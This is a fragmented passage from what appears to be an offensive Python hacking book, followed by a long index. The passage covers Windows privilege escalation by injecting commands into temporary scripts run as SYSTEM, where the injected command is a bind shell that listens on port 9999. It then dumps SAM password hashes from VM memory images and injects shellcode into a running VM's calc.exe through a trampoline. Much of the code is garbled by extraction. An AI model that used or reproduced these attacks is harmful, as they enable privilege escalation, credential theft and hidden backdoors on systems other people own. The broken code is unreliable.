put some intelligence into the script to log only processes that run as an unprivileged user but have
interesting privileges enabled
...


Winning the Race
Batch scripts, VBScript, and PowerShell scripts make system administrators’ lives easier by
automating humdrum tasks
...
One common problem is the lack
of proper ACLs on these scripting files
...

If you run your process monitor long enough in an enterprise (or you simply install the example
service provided in the beginning of this chapter), you might see process records that look like this:
20130907233515
...

exe, C:\WINDOWS\system32\cscript
...

vbs",1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal
Privilege|

You can see that a SYSTEM process has spawned the cscript
...
vbs parameter
...
If you do a directory listing, you will not see this file present
...
I’ve seen this action performed by commercial software in a number of
cases, and I’ve seen software that copies files into a temporary location, execute, and then delete
those files
...
When
the software or scheduled task creates the file, we need to be able to inject our own code into the file
before the process executes it and then ultimately deletes it
...
We can also filter these events so that we’re able to determine when the file
has been “saved” so we can quickly inject our code before it’s executed
...

Let’s begin by creating a file monitor, and then we’ll build on that to automatically inject code
...
py and hammer out the following:
# Modified example that is originally given here:
# http://timgolden
...
uk/python/win32_how_do_i/watch_directory_for_changes
...
gettempdir()]
# file modification
FILE_CREATED
=
FILE_DELETED
=
FILE_MODIFIED
=
FILE_RENAMED_FROM =
FILE_RENAMED_TO
=

constants
1
2
3
4
5

def start_monitor(path_to_watch):

# we create a thread for each monitoring run
FILE_LIST_DIRECTORY = 0x0001


h_directory = win32file
...
FILE_SHARE_READ | win32con
...
FILE_
SHARE_DELETE,
None,
win32con
...
FILE_FLAG_BACKUP_SEMANTICS,
None)
while 1:
try:



results = win32file
...
FILE_NOTIFY_CHANGE_FILE_NAME |
win32con
...
FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con
...
FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con
...
path
...
"
try:
fd = open(full_filename,"rb")
contents = fd
...
close()
print contents
print "[^^^] Dump complete
...
"



elif action == FILE_RENAMED_FROM:
print "[ > ] Renamed from: %s" % full_filename
elif action == FILE_RENAMED_TO:
print "[ < ] Renamed to: %s" % full_filename
else:
print "[???] Unknown: %s" % full_filename
except:
pass
for path in dirs_to_monitor:
monitor_thread = threading
...
start()

We define a list of directories that we’d like to monitor ➊, which in our case are the two common
temporary files directories
...
For each of these paths, we’ll create a monitoring thread that calls the

function
...
We then call the ReadDirectoryChangesW function ➌, which notifies us when a
change occurs
...
From here we print out useful information about what happened with that particular file,
and if we detect that it’s been modified, we dump out the contents of the file for reference ➎
...
exe shell and run file_monitor
...
exe file_monitor
...
exe shell and execute the following commands:
C:\> cd %temp%
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> echo hello > filetest
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> rename filetest file2test
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp> del file2test

You should see output that looks like the following:
Spawning monitoring thread for path: C:\WINDOWS\Temp
Spawning monitoring thread for path: c:\docume~1\admini~1\locals~1\temp
[ + ] Created c:\docume~1\admini~1\locals~1\temp\filetest
[ * ] Modified c:\docume~1\admini~1\locals~1\temp\filetest
[vvv] Dumping contents
...

Renamed from: c:\docume~1\admini~1\locals~1\temp\filetest
Renamed to: c:\docume~1\admini~1\locals~1\temp\file2test
Modified c:\docume~1\admini~1\locals~1\temp\file2test
Dumping contents
...

[ - ] Deleted c:\docume~1\admini~1\locals~1\temp\FILE2T~1

If all of the above has worked as planned, I encourage you to keep your file monitor running for 24
hours on a target system
...
You can also use your process-monitoring script to try to find interesting file paths to monitor
as well
...
Let’s move on and add the ability to
automatically inject code into a target file
...
The most common scripting languages I’ve seen employed are VBScript,
batch files, and PowerShell
...
py tool with the privilege level of the originating service
...
Let’s modify our file_monitor
...
exe -l -p 9999 -c"
file_types['
...
Shell\")
...
bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]
file_types['
...
write(full_contents)
fd
...
"
return

We start by defining a dictionary of code snippets that match a particular file extension ➊ that
includes a unique marker and the code we want to inject
...
This continues until the file gets gigantic and the
hard drive begins to cry
...
After we verify that the marker doesn’t exist ➋, we write
out the marker and the code we want the target process to run ➌
...

--snip-elif action == FILE_MODIFIED:
print "[ * ] Modified %s" % full_filename
# dump out the file contents
print "[vvv] Dumping contents
...
read()
fd
...
"
except:
print "[!!!] Failed
...
path
...
We do a quick split of the file extension
➊ and then check it against our dictionary of known file types ➋
...
Let’s take it for a spin
...
Make sure that the service is running, and simply execute your
file_monitor
...
Eventually, you should see output indicating that a
...
If all went well, you should be able to run the
bhpnet
...
To make sure your privilege
escalation worked, connect to the listener and check which user you are running as
...
/bhpnet
...
168
...
10 -p 9999

whoami
NT AUTHORITY\SYSTEM


This will indicate that you have achieved the holy SYSTEM account and that your code injection
worked
...
But
the more time you spend inside a large enterprise, the more you’ll realize that these are quite viable
attacks
...
WMI alone
can be an excellent source of local recon data that you can use to further an attack once you are inside
a network
...

[21] This code was adapted from the Python WMI page (http://timgolden
...
uk/python/wmi/tutorial
...

[22] Win32_Process class documentation: http://msdn
...
com/en-us/library/aa394372(v=vs
...
aspx
[23] MSDN – Access Tokens: http://msdn
...
com/en-us/library/Aa374909
...
microsoft
...
85)
...

[25] Carlos Perez does some amazing work with PowerShell; see http://www
...
com/
...
Automating Offensive Forensics
Forensics folks are often called in after a breach, or to determine if an “incident” has taken place at
all
...
Lucky for them, a team of talented developers
has created an entire Python framework suitable for this task called Volatility, billed as an advanced
memory forensics framework
...
We, of course, are more interested in the offensive capabilities that
V
olatility provides
...
The final example shows how we can inject shellcode directly into
a running VM at a precise location that we choose
...
We can also leave a backdoor hidden in a VM
snapshot that will be executed when the administrator restores the VM
...
Let’s get started!

Installation
V
olatility is extremely easy to install; you just need to download it from
https://code
...
com/p/volatility/downloads/list
...
Instead, I
keep it in a local directory and add the directory to my working path, as you’ll see in the following
sections
...
Choose the installation method of your choice; it
should work fine whatever you do
...
But if you can retrieve a memory image from a target via
FireWire or remotely, you might not necessarily know the exact version of the operating system
you’re attacking
...
You can run the plugin like so:
$ python vol
...
img"

After you run it, you should get a good chunk of information back
...
In the above scenario, we’d
use:
$ python vol
...


Grabbing Password Hashes
Recovering the password hashes on a Windows machine after penetration is a common goal among
attackers
...
Looking through the
VMs or snapshots on a target is a perfect place to attempt to recover these hashes
...

V
olatility makes this recovery process extremely easy
...
Then we’ll create a script to combine this into a single step
...
We need both of these hives in order to extract
the hashes from a memory image
...
Then we’ll pass this information off to the hashdump
plugin to do the actual hash extraction
...
py hivelist --profile=WinXPSP2x86 -f "WindowsXPSP2
...
I clipped out a portion of the output for brevity’s sake
...
Keep in mind that the virtual offset deals with where in memory, in relation to the operating
system, those hives exist
...
vmem file on disk where
those hives exist
...
Go back to your terminal and enter the following command, noting that your virtual
addresses will be different than the ones I show
...
py hashdump -d -d -f "WindowsXPSP2
...

Now let’s take this two-step process and streamline it into our own standalone script
...
py and enter the following code:

import
import
import
import

sys
struct
volatility
...
registry as registry

➊ memory_file
= "WindowsXPSP2
...
path
...
3
...
PluginImporter()
config = conf
...
commands as commands
import volatility
...
parse_options()
config
...
LOCATION = "file://%s" % memory_file
registry
...
Command)
registry
...
BaseAddressSpace)

First we set a variable to point to the memory image ➊ that we’re going to analyze
...
The
rest of the supporting code is just to set up our instance of V
olatility with profile and configuration
options set as well
...
Add the following lines to grabhashes
...

from volatility
...
registry
...
plugins
...
lsadump import HashDump
➊ registry = RegistryApi(config)
➋ registry
...
all_offsets:


if registry
...
endswith("\\SAM"):
sam_offset = offset
print "[*] SAM: 0x%08x" % offset



if registry
...
endswith("\\system"):
sys_offset = offset
print "[*] System: 0x%08x" % offset



if sam_offset is not None and sys_offset is not None:
config
...
sam_offset = sam_offset



hashdump = HashDump(config)



for hash in hashdump
...
"

We first instantiate a new instance of RegistryApi ➊ that’s a helper class with commonly used
registry functions; it takes only the current configuration as a parameter
...

Next, we start walking through each of the discovered hives looking for the SAM ➌ and system ➍

hives
...
Then we create a HashDump object ➏ and pass in the current configuration object
...

Now run this script as a standalone Python file:
$ python grabhashes
...
One tip I suggest is
that as you look to chain functionality together (or borrow existing functionality), grep through the
V
olatility source code to see how they’re doing things under the hood
...

Now let’s move on to some simple reverse engineering, as well as targeted code injection to infect a
virtual machine
...
In each of these cases, if you’ve compromised a host system and you see
VMs in use, it can be handy to climb inside them
...
If a user reverts to a
snapshot that you’ve infected, your shellcode will execute and you’ll have a fresh shell
...

If you have the time, a perfect place is to find the main service loop in a SYSTEM process because
you’re guaranteed a high level of privilege on the VM and that your shellcode will be called
...

We’re going to do some simple reverse engineering of the Windows calculator application as a
starting target
...
exe in Immunity Debugger[26] and write a simple code
coverage script that helps us find the = button function
...
Using this as a
foundation, you could progress to finding trickier targets and injecting more advanced shellcode
...
Open a new file on your Windows
XP VM and name it codecoverage
...
Make sure to save the file in the main Immunity Debugger
installation directory under the PyCommands folder
...
__init__(self)
self
...
imm
...
imm
...
getModule("calc
...
analyseCode(calc
...
getAllFunctions(calc
...
add("%08x" % function, function)
return "Tracking %d functions
...
exe and for each one sets a one-shot

breakpoint
...
Load calc
...
Then in the command
bar at the bottom of Immunity Debugger’s screen, enter:
! codecoverage

Now you can run the process by pressing the F9 key
...
Now click as many buttons as you want, except the = button
...
After you’ve clicked around
enough, right-click in the Log View and select Clear Window
...
You can verify this by clicking a button you previously clicked; you shouldn’t see
anything appear in the log window
...
You should see only a single
entry in the log screen (you might have to enter an expression like 3+3 and then hit the = button)
...

All right! Our whirlwind tour of Immunity Debugger and some basic code coverage techniques is
over and we have the address where we want to inject code
...

This is a multistage process
...
exe process and then
hunt through its memory space for a place to inject the shellcode, as well as to find the physical offset
in the RAM image that contains the function we previously found
...
The shellcode
we use for this example is from a demonstration I did at a fantastic Canadian security conference
called Countermeasure
...
[27]
Open a new file, name it code_inject
...

import sys
import struct
equals_button = 0x01005D51
memory_file
= "WinXPSP2
...
bin","rb")
sc
= sc_fd
...
close()
sys
...
append("/Users/justin/Downloads/volatility-2
...
1")
import volatility
...
registry as registry
registry
...
ConfObject()
import volatility
...
addrspace as addrspace
registry
...
Command)
registry
...
BaseAddressSpace)
config
...
PROFILE = "WinXPSP2x86"

config
...

Now let’s put the rest of the code in place to actually perform the injection
...
plugins
...
PSList(config)
➋ for process in p
...
ImageFileName) == "calc
...
exe with PID %d" % process
...
please wait
...
get_process_address_space()
pages
= address_space
...
The PSList module
is responsible for walking through all of the running processes detected in the memory image
...
exe process, we obtain its full address space
➌ and all of the process’s memory pages ➍
...
As well, we’re looking for the virtual address of our = button
handler so that we can write our trampoline
...

for page in pages:


physical = address_space
...
seek(physical)
buf = fd
...
index("\x00" * len(sc))
slack_space = page[0] + offset
print "[*]
print "[*]
print "[*]
+ offset)
print "[*]





Found good shellcode location!"
Virtual address: 0x%08x" % slack_space
Physical address: 0x%08x" % (physical
...
"

fd
...
write(sc)
fd
...
pack("tramp += "\xff\xe3"
if trampoline_offset is not None:
break
except:
pass

fd
...

equals_button < ((page[0] + page[1])-7):
print "[*] Found our trampoline target at: 0x%08x"
...

% (trampoline_offset)
if slack_space is not None:
break

print "[*] Writing trampoline
...
seek(trampoline_offset)
fd
...
close()
print "[*] Done injecting code
...
When we iterate over each page, the code
returns a two-member list where page[0] is the address of the page and page[1] is the size of the
page in bytes
...
We then open the RAM image ➋,
seek to the offset of where the page is, and then read in the entire page of memory
...
After we’ve found a suitable spot and injected the shellcode, we take the
address of our shellcode and create a small chunk of x86 opcodes ➎
...
I’ll
leave this as a homework assignment
...
If we find it, we calculate the offset ➐ and then write out our trampoline ➑
...


Kicking the Tires
The first step is to close Immunity Debugger if it’s still running and close any instances of calc
...

Now fire up calc
...
You should see output like this:
$ python code_inject
...
exe with PID 1936
[*] Hunting for physical offsets
...

[*] Found good shellcode location!
[*] Virtual address: 0x00010817
[*] Physical address: 0x33155817
[*] Injecting shellcode
...

[*] Done injecting code
...
To test it, simply
drop into your VM and do a quick 3+3 and hit the = button
...
exe to try this
technique against
...
These techniques can be a fun way to become familiar with memory
forensics, and they’re also useful for situations where you have physical access to machines or have
popped a server hosting numerous VMs
...
immunityinc
...

[27] If you want to write your own MessageBox shellcode, see this tutorial: https://www
...
be/index
...


Index
A N O T E O N T H E D I GI TA L I N D E X
A link in an index entry is displayed as the section title in which that entry appears
...
Clicking on any link will take you directly to the place
in the text in which the marker appears
...
exe process, Creating the Server
iface parameter, Owning the Network with Scapy
IIntruderPayloadGenerator class, Burp Fuzzing
IIntruderPayloadGeneratorFactory class, Burp Fuzzing
image carving script, Kicking the Tires, PCAP Processing, PCAP Processing, PCAP Processing,
PCAP Processing
adding facial detection code, PCAP Processing
adding supporting functions, PCAP Processing
coding processing script, PCAP Processing
testing, PCAP Processing

imageinfo plugin, Automating Offensive Forensics
IMAP credentials, stealing, Owning the Network with Scapy, Stealing Email Credentials
Immunity Debugger, Direct Code Injection, Direct Code Injection
imp module, Hacking Python’s import Functionality
__init__ method, Decoding the IP Layer
inject_code function, Code Injection
input tags, Brute-Forcing HTML Form Authentication
input/output control (IOCTL), Packet Sniffing on Windows and Linux, Packet Sniffing on Windows
and Linux
Internet Explorer COM automation, Fun with Internet Explorer, Man-in-the-Browser (Kind Of), Manin-the-Browser (Kind Of), Man-in-the-Browser (Kind Of), Man-in-the-Browser (Kind Of), Man-inthe-Browser (Kind Of), Man-in-the-Browser (Kind Of), Creating the Server, Creating the Server, IE
COM Automation for Exfiltration, IE COM Automation for Exfiltration, IE COM Automation for
Exfiltration, IE COM Automation for Exfiltration, IE COM Automation for Exfiltration, IE COM
Automation for Exfiltration
exfiltration, Creating the Server, IE COM Automation for Exfiltration, IE COM Automation for
Exfiltration, IE COM Automation for Exfiltration, IE COM Automation for Exfiltration, IE COM
Automation for Exfiltration, IE COM Automation for Exfiltration
encryption routines, IE COM Automation for Exfiltration
key generation script, IE COM Automation for Exfiltration
login functionality, IE COM Automation for Exfiltration
posting functionality, IE COM Automation for Exfiltration
supporting functions, IE COM Automation for Exfiltration
testing, IE COM Automation for Exfiltration
man-in-the-browser attacks, Man-in-the-Browser (Kind Of), Man-in-the-Browser (Kind Of), Manin-the-Browser (Kind Of), Man-in-the-Browser (Kind Of), Man-in-the-Browser (Kind Of), Manin-the-Browser (Kind Of), Creating the Server
creating HTTP server, Man-in-the-Browser (Kind Of)
defined, Man-in-the-Browser (Kind Of)
main loop, Man-in-the-Browser (Kind Of)
support structure for, Man-in-the-Browser (Kind Of)
testing, Creating the Server
waiting for browser functionality, Man-in-the-Browser (Kind Of)
Intruder tab, Burp, Kicking the Tires, Kicking the Tires

Intruder tool, Burp, Burp Fuzzing
IOCTL (input/output control), Packet Sniffing on Windows and Linux, Packet Sniffing on Windows
and Linux
IP header decoding routine, Packet Sniffing on Windows and Linux, Decoding the IP Layer, Decoding
the IP Layer, Decoding the IP Layer, Decoding the IP Layer
avoiding bit manipulation, Decoding the IP Layer
human-readable protocol, Decoding the IP Layer
testing, Decoding the IP Layer
typical IPv4 header structure, Decoding the IP Layer

J
Janzen, Cliff, Windows Privilege Escalation
JSON format, Trojan Configuration
Jython standalone JAR file, Extending Burp Proxy, Burp Fuzzing

K
Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux, Installing Kali Linux,
Installing Kali Linux, Installing Kali Linux
default username and password, Installing Kali Linux
desktop environment, Installing Kali Linux
determining version, Installing Kali Linux
downloading image, Installing Kali Linux
general discussion, Installing Kali Linux
installing packages, Installing Kali Linux
KeyDown event, Keylogging for Fun and Keystrokes
keylogging, Keylogging for Fun and Keystrokes
KeyStroke function, Keylogging for Fun and Keystrokes
Khrais, Hussam, SSH with Paramiko
Kuczmarski, Karol, Hacking Python’s import Functionality

L
LASTINPUTINFO structure, Sandbox Detection
load_module function, Hacking Python’s import Functionality
login_form_index function, Man-in-the-Browser (Kind Of)

login_to_tumblr function, IE COM Automation for Exfiltration
logout_form function, Man-in-the-Browser (Kind Of)
logout_url function, Man-in-the-Browser (Kind Of)

M
man-in-the-browser (MitB) attacks, Man-in-the-Browser (Kind Of), Man-in-the-Browser (Kind Of),
Man-in-the-Browser (Kind Of), Man-in-the-Browser (Kind Of), Man-in-the-Browser (Kind Of),
Man-in-the-Browser (Kind Of), Creating the Server
creating HTTP server, Man-in-the-Browser (Kind Of)
defined, Man-in-the-Browser (Kind Of)
main loop, Man-in-the-Browser (Kind Of)
support structure for, Man-in-the-Browser (Kind Of)
testing, Creating the Server
waiting for browser functionality, Man-in-the-Browser (Kind Of)
man-in-the-middle (MITM) attacks, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with
Scapy, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP Cache Poisoning
with Scapy
adding supporting functions, ARP Cache Poisoning with Scapy
coding poisoning script, ARP Cache Poisoning with Scapy
inspecting cache, ARP Cache Poisoning with Scapy
testing, ARP Cache Poisoning with Scapy
mangle function, Turning Website Content into Password Gold
Metasploit, Pythonic Shellcode Execution
Microsoft, Kicking the Tires (see Bing search engine; Internet Explorer COM automation)
MitB attacks, Man-in-the-Browser (Kind Of) (see man-in-the-browser attacks)
MITM attacks, ARP Cache Poisoning with Scapy (see man-in-the-middle attacks)
modules directory, Github Command and Control
module_runner function, Hacking Python’s import Functionality
mutate_payload function, Burp Fuzzing

N
Nathoo, Karim, Man-in-the-Browser (Kind Of)
netaddr module, Decoding ICMP, Kicking the Tires

netcat-like functionality, TCP Server, TCP Server, TCP Server, Replacing Netcat, Replacing Netcat,
Replacing Netcat, Replacing Netcat, Replacing Netcat, Replacing Netcat, Replacing Netcat,
Replacing Netcat, Replacing Netcat
adding client code, Replacing Netcat
calling functions, Replacing Netcat
command execution functionality, Replacing Netcat
command shell, Replacing Netcat
creating main function, Replacing Netcat
creating primary server loop, Replacing Netcat
creating stub function, Replacing Netcat
file upload functionality, Replacing Netcat
importing libraries, TCP Server
setting global variables, TCP Server
testing, Replacing Netcat
network basics, The Network: Basics, The Network: Basics, TCP Client, TCP Server, TCP Server,
Kicking the Tires, Kicking the Tires, Building a TCP Proxy, Building a TCP Proxy, Building a TCP
Proxy, SSH with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with
Paramiko, SSH with Paramiko, Kicking the Tires, Kicking the Tires, Kicking the Tires, Kicking the
Tires, SSH Tunneling, SSH Tunneling, SSH Tunneling

creating TCP clients, The Network: Basics
creating TCP proxies, Kicking the Tires, Kicking the Tires, Building a TCP Proxy, Building a TCP
Proxy, Building a TCP Proxy
hex dumping function, Building a TCP Proxy
proxy_handler function, Building a TCP Proxy
reasons for, Kicking the Tires
testing, Building a TCP Proxy
creating TCP servers, TCP Server
creating UDP clients, TCP Client
netcat-like functionality, TCP Server (see netcat-like functionality)
SSH tunneling, Kicking the Tires, Kicking the Tires, Kicking the Tires, Kicking the Tires, SSH
Tunneling, SSH Tunneling, SSH Tunneling
forward, Kicking the Tires, Kicking the Tires
reverse, Kicking the Tires, SSH Tunneling, SSH Tunneling
testing, SSH Tunneling
SSH with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with
Paramiko, SSH with Paramiko, SSH with Paramiko
creating SSH server, SSH with Paramiko
installing Paramiko, SSH with Paramiko
key authentication, SSH with Paramiko
running commands on Windows client over SSH, SSH with Paramiko
testing, SSH with Paramiko
network sniffers, The Network: Raw Sockets and Sniffing, The Network: Raw Sockets and Sniffing,
The Network: Raw Sockets and Sniffing, Packet Sniffing on Windows and Linux, Packet Sniffing on
Windows and Linux, Packet Sniffing on Windows and Linux, Decoding the IP Layer, Decoding the IP
Layer, Decoding the IP Layer, Decoding the IP Layer, Kicking the Tires, Kicking the Tires, Kicking
the Tires, Decoding ICMP, Decoding ICMP, Decoding ICMP, Decoding ICMP

discovering active hosts on network segments, The Network: Raw Sockets and Sniffing
ICMP message decoding routine, Kicking the Tires, Kicking the Tires, Kicking the Tires, Decoding
ICMP, Decoding ICMP, Decoding ICMP, Decoding ICMP
Destination Unreachable message, Kicking the Tires, Decoding ICMP
length calculation, Decoding ICMP
message elements, Kicking the Tires
sending UDP datagrams and interpreting results, Decoding ICMP
testing, Decoding ICMP
IP header decoding routine, Packet Sniffing on Windows and Linux, Decoding the IP Layer,
Decoding the IP Layer, Decoding the IP Layer, Decoding the IP Layer
avoiding bit manipulation, Decoding the IP Layer
human-readable protocol, Decoding the IP Layer
testing, Decoding the IP Layer
typical IPv4 header structure, Decoding the IP Layer
promiscuous mode, Packet Sniffing on Windows and Linux
setting up raw socket sniffer, Packet Sniffing on Windows and Linux
Windows versus Linux, The Network: Raw Sockets and Sniffing
__new__ method, Decoding the IP Layer

O
offensive forensics automation, Automating Offensive Forensics, Automating Offensive Forensics,
Automating Offensive Forensics, Grabbing Password Hashes, Direct Code Injection
direct code injection, Direct Code Injection
installing V
olatility, Automating Offensive Forensics
profiles, Automating Offensive Forensics
recovering password hashes, Grabbing Password Hashes
online resources, Setting Up Your Python Environment, Installing Kali Linux, WingIDE, The Network:
Basics, SSH with Paramiko, SSH with Paramiko, The Network: Raw Sockets and Sniffing, Packet
Sniffing on Windows and Linux, Kicking the Tires, Owning the Network with Scapy, Owning the
Network with Scapy, PCAP Processing, PCAP Processing, Kicking the Tires, Kicking the Tires,
Brute-Forcing HTML Form Authentication, Kicking the Tires, Extending Burp Proxy, Extending Burp
Proxy, Extending Burp Proxy, Bing for Burp, Github Command and Control, Github Command and
Control, Building a Github-Aware Trojan, Hacking Python’s import Functionality, Keylogging for Fun
and Keystrokes, Taking Screenshots, Pythonic Shellcode Execution, Creating the Server, Windows
Privilege Escalation, Windows Privilege Escalation, Creating a Process Monitor, Creating a Process

Monitor, Process Monitoring with WMI, Kicking the Tires, Automating Offensive Forensics, Direct
Code Injection, Direct Code Injection
Bing API keys, Bing for Burp
Burp, Extending Burp Proxy
Cain and Abel, Kicking the Tires
Carlos Perez, Kicking the Tires
creating basic structure for repo, Github Command and Control
DirBuster project, Kicking the Tires
El Jefe project, Creating a Process Monitor
facial detection code, PCAP Processing
generating Metasploit payloads, Pythonic Shellcode Execution
hacking Python import functionality, Hacking Python’s import Functionality
Hussam Khrais, SSH with Paramiko
Immunity Debugger, Direct Code Injection
input/output control (IOCTL), Packet Sniffing on Windows and Linux
Joomla administrator login form, Brute-Forcing HTML Form Authentication
Jython, Extending Burp Proxy
Kali Linux, Installing Kali Linux
MessageBox shellcode, Direct Code Injection
netaddr module, Kicking the Tires
OpenCV PCAP Processing
,
Paramiko, SSH with Paramiko
PortSwigger Web Security, Extending Burp Proxy
privilege escalation example service, Windows Privilege Escalation
py2exe, Building a Github-Aware Trojan
PyCrypto package, Creating the Server
PyHook library, Keylogging for Fun and Keystrokes
Python GitHub API library, Github Command and Control
Python WMI page, Creating a Process Monitor
PyWin32 installer, Windows Privilege Escalation
Scapy, Owning the Network with Scapy, Owning the Network with Scapy
socket module, The Network: Basics

SVNDigger, Kicking the Tires
VMWare Player, Setting Up Your Python Environment
V
olatility framework, Automating Offensive Forensics
Win32_Process class documentation, Process Monitoring with WMI
Windows GDI, Taking Screenshots
WingIDE, WingIDE
Wireshark, The Network: Raw Sockets and Sniffing
OpenCV PCAP Processing, PCAP Processing
,
os
...
show() function, Stealing Email Credentials
Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH
with Paramiko, SSH with Paramiko
creating SSH server, SSH with Paramiko
installing, SSH with Paramiko
running commands on Windows client over SSH, SSH with Paramiko
SSH key authentication, SSH with Paramiko
testing, SSH with Paramiko
password-guessing wordlist, Turning Website Content into Password Gold, Turning Website Content
into Password Gold, Turning Website Content into Password Gold, Turning Website Content into
Password Gold, Turning Website Content into Password Gold
converting selected HTTP traffic into wordlist, Turning Website Content into Password Gold
functionality to display wordlist, Turning Website Content into Password Gold
testing, Turning Website Content into Password Gold, Turning Website Content into Password Gold
Payloads tab, Burp, Kicking the Tires, Kicking the Tires
PCAP (packet capture file) processing, ARP Cache Poisoning with Scapy, Kicking the Tires, Kicking
the Tires, PCAP Processing, PCAP Processing, PCAP Processing, PCAP Processing

adding facial detection code, PCAP Processing
adding supporting functions, PCAP Processing
ARP cache poisoning results, ARP Cache Poisoning with Scapy
coding processing script, PCAP Processing
image carving script, Kicking the Tires
testing, PCAP Processing
Perez, Carlos, Kicking the Tires
pip package manager, Installing Kali Linux
POP3 credentials, stealing, Owning the Network with Scapy, Stealing Email Credentials
populate_offsets function, Grabbing Password Hashes
Port Unreachable error, Kicking the Tires
PortSwigger Web Security, Extending Burp Proxy
Positions tab, Burp, Kicking the Tires, Kicking the Tires
post_to_tumblr function, IE COM Automation for Exfiltration
privilege escalation, Windows Privilege Escalation, Windows Privilege Escalation, Windows
Privilege Escalation, Creating a Process Monitor, Creating a Process Monitor, Process Monitoring
with WMI, Process Monitoring with WMI, Windows Token Privileges, Windows Token Privileges,
Winning the Race, Winning the Race, Winning the Race, Kicking the Tires
code injection, Kicking the Tires
installing example service, Windows Privilege Escalation
installing libraries, Windows Privilege Escalation
process monitoring, Creating a Process Monitor, Creating a Process Monitor, Process Monitoring
with WMI
testing, Process Monitoring with WMI
with WMI, Creating a Process Monitor
token privileges, Process Monitoring with WMI, Windows Token Privileges, Windows Token
Privileges
automatically retrieving enabled privileges, Windows Token Privileges
outputting and logging, Windows Token Privileges
winning race against code execution, Winning the Race, Winning the Race, Winning the Race
creating file monitor, Winning the Race
testing, Winning the Race

prn parameter, Owning the Network with Scapy
process monitoring, Creating a Process Monitor, Creating a Process Monitor, Process Monitoring
with WMI
winning race against code execution, Creating a Process Monitor, Process Monitoring with WMI
testing, Process Monitoring with WMI
with WMI, Creating a Process Monitor
process_watcher function, Process Monitoring with WMI
--profile flag, Automating Offensive Forensics
Proxy tab, Burp, Kicking the Tires, Kicking the Tires
proxy_handler function, Building a TCP Proxy
PSList class, Direct Code Injection
py2exe, Building a Github-Aware Trojan
PyCrypto package, Creating the Server, IE COM Automation for Exfiltration
PyHook library, Keylogging for Fun and Keystrokes, Sandbox Detection
Python GitHub API library, Github Command and Control
PyWin32 installer, Windows Privilege Escalation

Q
Queue objects, Mapping Open Source Web App Installations, Brute-Forcing Directories and File
Locations

R
random_sleep function, IE COM Automation for Exfiltration
ReadDirectoryChangesW function, Winning the Race
receive_from function, Building a TCP Proxy
recvfrom() function, TCP Client
registerIntruderPayloadGeneratorFactory function, Burp Fuzzing
RegistryApi class, Grabbing Password Hashes
Repeater tool, Burp, Burp Fuzzing
Request class, The Socket Library of the Web: urllib2
request_handler function, Building a TCP Proxy
request_port_forward function, SSH Tunneling
reset function, Burp Fuzzing

response_handler function, Building a TCP Proxy
restore_target function, ARP Cache Poisoning with Scapy
reverse SSH tunneling, Kicking the Tires, SSH Tunneling, SSH Tunneling
reverse_forward_tunnel function, SSH Tunneling
run function, Creating Modules

S
sandbox detection, Kicking the Tires
Scapy library, Owning the Network with Scapy, Owning the Network with Scapy, Owning the
Network with Scapy, Owning the Network with Scapy, Stealing Email Credentials, Stealing Email
Credentials, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP Cache
Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP
Cache Poisoning with Scapy, Kicking the Tires, PCAP Processing, PCAP Processing, PCAP
Processing, PCAP Processing
ARP cache poisoning, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP
Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy, ARP Cache Poisoning with Scapy
adding supporting functions, ARP Cache Poisoning with Scapy
coding poisoning script, ARP Cache Poisoning with Scapy
inspecting cache, ARP Cache Poisoning with Scapy
testing, ARP Cache Poisoning with Scapy
installing, Owning the Network with Scapy
PCAP processing, ARP Cache Poisoning with Scapy, Kicking the Tires, PCAP Processing, PCAP
Processing, PCAP Processing, PCAP Processing
adding facial detection code, PCAP Processing
adding supporting functions, PCAP Processing
ARP cache poisoning results, ARP Cache Poisoning with Scapy
coding processing script, PCAP Processing
image carving script, Kicking the Tires
testing, PCAP Processing
stealing email credentials, Owning the Network with Scapy, Owning the Network with Scapy,
Stealing Email Credentials, Stealing Email Credentials
applying filter for common mail ports, Stealing Email Credentials
creating simple sniffer, Owning the Network with Scapy
testing, Stealing Email Credentials

Scope tab, Burp, Kicking the Tires, Turning Website Content into Password Gold
screenshots, Kicking the Tires
SeBackupPrivilege privilege, Windows Token Privileges
Secure Shell, SSH with Paramiko (see SSH)
SeDebugPrivilege privilege, Windows Token Privileges
SelectObject function, Taking Screenshots
SeLoadDriver privilege, Windows Token Privileges, Windows Token Privileges
sendto() function, TCP Client
server_loop function, Replacing Netcat
SetWindowsHookEx function, Keylogging for Fun and Keystrokes
shellcode execution, Taking Screenshots
SimpleHTTPServer module, Pythonic Shellcode Execution
Site map tab, Burp, Turning Website Content into Password Gold, Kicking the Tires
SMTP credentials, stealing, Owning the Network with Scapy, Stealing Email Credentials
sniff function, Owning the Network with Scapy
socket module, The Network: Basics, The Network: Basics, TCP Client, TCP Server, TCP Server,
Kicking the Tires
building TCP proxies, Kicking the Tires
creating TCP clients, The Network: Basics
creating TCP servers, TCP Server
creating UDP clients, TCP Client
netcat-like functionality, TCP Server
SOCK_DGRAM parameter, TCP Client
SOCK_STREAM parameter, The Network: Basics
SSH (Secure Shell), SSH with Paramiko, SSH with Paramiko, SSH with Paramiko, SSH with
Paramiko, SSH with Paramiko, SSH with Paramiko, Kicking the Tires, Kicking the Tires, Kicking the
Tires, Kicking the Tires, SSH Tunneling, SSH Tunneling, SSH Tunneling

tunneling, Kicking the Tires, Kicking the Tires, Kicking the Tires, Kicking the Tires, SSH
Tunneling, SSH Tunneling, SSH Tunneling
forward, Kicking the Tires, Kicking the Tires
reverse, Kicking the Tires, SSH Tunneling, SSH Tunneling
testing, SSH Tunneling
